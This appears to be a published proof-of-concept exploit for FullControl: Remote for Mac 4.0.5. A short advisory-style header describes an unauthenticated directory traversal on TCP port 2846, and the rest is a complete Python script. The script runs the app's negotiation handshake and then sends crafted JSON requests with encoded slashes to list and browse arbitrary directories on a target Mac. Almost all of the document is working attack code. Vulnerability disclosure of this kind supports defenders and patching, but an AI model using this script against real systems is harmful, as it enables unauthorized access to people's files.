# Exploit Title: FullControl: Remote for Mac 4.0.5 - Arbitrary Directory Traversal and Enumeration # Date: 1/08/2025 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://fullcontrol.cescobaz.com/ # Software Link: https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890 # Version: 4.0.5 # Tested on: macOS 14.4 Sonoma ''' Description: FullControl Remote for Mac v4.0.5 is vulnerable to an unauthenticated directory traversal flaw. An attacker can remotely enumerate and traverse arbitrary directories on the target system by sending crafted JSON requests to TCP port 2846. This vulnerability arises from insufficient input validation and improper path normalization, enabling unauthorized access to sensitive filesystem locations. ''' import socket import json import time from urllib.parse import unquote HOST = '192.168.1.143' PORT = 2846 NEGOTIATION_CMDS = [ 'accessibilityAPIEnabled', 'protocol', 'API_level', 'fc', 'os', 'json2', 'version', 'fc', 'os', 'device', 'FullControl', '4.2.0', '4.2.0', '26.0', 'Attacker', ] def encode_slashes_in_json(s: str) -> str: return s.replace('/', '\\u002f') def recv_response(sock): try: sock.settimeout(2.0) data = sock.recv(8192) if not data: return None return data.decode(errors='ignore') except socket.timeout: return None def perform_negotiation(sock): print("[*] Starting negotiation...") for cmd in NEGOTIATION_CMDS: # print(f"[>] {cmd}") sock.sendall(cmd.encode()) time.sleep(0.3) resp = recv_response(sock) # if resp: # print(f"[<] {resp.strip()}") def request_directory(sock, path: str, id_num=21): request_obj = { "Class": "Request", "Id": id_num, "Type": "directory", "Text": path } j = json.dumps(request_obj, separators=(',', ':')) je = encode_slashes_in_json(j) sock.sendall(je.encode()) time.sleep(1) resp = recv_response(sock) if not resp: print("[!] No response for directory request") return None return json.loads(resp) def navigate_loop(sock, start_path: str): current_path = start_path.rstrip('/') while True: print(f"\n[\U0001F4C1] Current path: {current_path}/") directory_listing = request_directory(sock, current_path + "//") if not directory_listing: break subdirs = [] print("\n[+] Contents:") for e in directory_listing.get("Elements", []): kind = e.get("Class") name = e.get("Name") print(f" - {name} ({kind})") if kind == "Directory": subdirs.append(name) user_input = input("\n[?] Enter directory to enter (.. to go back, q to quit): ").strip() if user_input in ('q', 'exit'): break elif user_input == '..': current_path = '/'.join(current_path.rstrip('/').split('/')[:-1]) if current_path == '': current_path = '/' elif user_input in subdirs: current_path += f"//{user_input}" else: print("[!] Invalid input or directory.") def main(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) perform_negotiation(s) root_req = {"Class": "Request", "Id": 20, "Type": "directory", "Text": ""} jroot = json.dumps(root_req, separators=(',', ':')) s.sendall(jroot.encode()) time.sleep(1) raw_root = recv_response(s) if not raw_root: print("[!] Failed to get base path") return parsed_root = json.loads(raw_root) base_path_raw = parsed_root.get("Path", "") base_path = unquote(base_path_raw).rstrip('/') navigate_loop(s, base_path) if __name__ == '__main__': main()